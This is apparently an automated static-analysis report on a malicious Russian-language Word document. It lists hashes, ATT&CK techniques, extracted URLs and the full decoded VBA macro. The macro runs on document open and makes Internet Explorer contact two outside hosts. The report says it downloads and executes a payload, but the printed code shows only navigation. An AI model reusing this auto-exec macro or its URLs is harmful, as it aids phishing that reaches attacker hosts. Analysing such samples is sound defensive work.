Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 152cc0b64514c405…

MALICIOUS

Office (OLE)

62.5 KB Created: 2019-08-13 04:38:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: ed09213267434bfea2860214d7cf4727 SHA-1: e09cfae24d49aa09ca17faf33300c8c56df6991d SHA-256: 152cc0b64514c405c4b82a0a8d91a230dfdb648c5cbd3b2e9f0528f8ad331759
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Word document that uses a Document_Open macro to execute VBA code. This code attempts to download and execute a second-stage payload from two URLs: "http://10.61.42.148/status/info.jpg?a=" and "http://antithief-check.cf/status/info.jpg?a=". The document body, written in Russian, falsely claims to be protected and requires macros to be enabled for viewing, acting as a lure for the user to bypass security warnings. The use of CreateObject and the Document_Open auto-execution heuristic strongly indicate malicious intent.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://win64-updates.ml/template/logo.jpg?a=jpg In document text (OLE body)
    • http://10.61.42.129/template/logo.jpgIn document text (OLE body)
    • http://10.61.42.148/status/info.jpg?a=$In document text (OLE body)
    • http://antithief-check.cf/status/info.jpg?a=$In document text (OLE body)
    • http://10.61.42.148/status/info.jpg?a=In document text (OLE body)
    • http://antithief-check.cf/status/info.jpg?a=In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1325 bytes
SHA-256: 9a4f86cdc4ae1fe7b8a7908f98de3498e741bf07215971b4869cce18c5d2791f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    b
End Sub


Attribute VB_Name = "Module1"
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
#Else
    Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long)
#End If

Function genSymbol() As String
    Dim i As Integer, k1 As Integer, k2 As Integer, s As String, n As Integer
    Randomize
    n = 10
    For i = 1 To n
        k1 = Int(Rnd * 26)
        k2 = Rnd * 2
        s = Chr(65 + k1)
        If k2 > 1 Then s = LCase(s)
        genSymbol = genSymbol & s
    Next
End Function

Sub b()


Dim myurl As String
Dim IE As Variant
Set IE = CreateObject("internetexplorer.application")
myurl = "http://10.61.42.148/status/info.jpg?a=" & genSymbol()
Sleep 200
IE.Navigate myurl
Sleep 200
myurl1 = "http://antithief-check.cf/status/info.jpg?a=" & genSymbol()
IE.Navigate myurl1
ThisDocument.Range.Select
Selection.Font.Size = 14
Selection.Font.ColorIndex = wdBlack
ThisDocument.Range(0, 0).Select
End Sub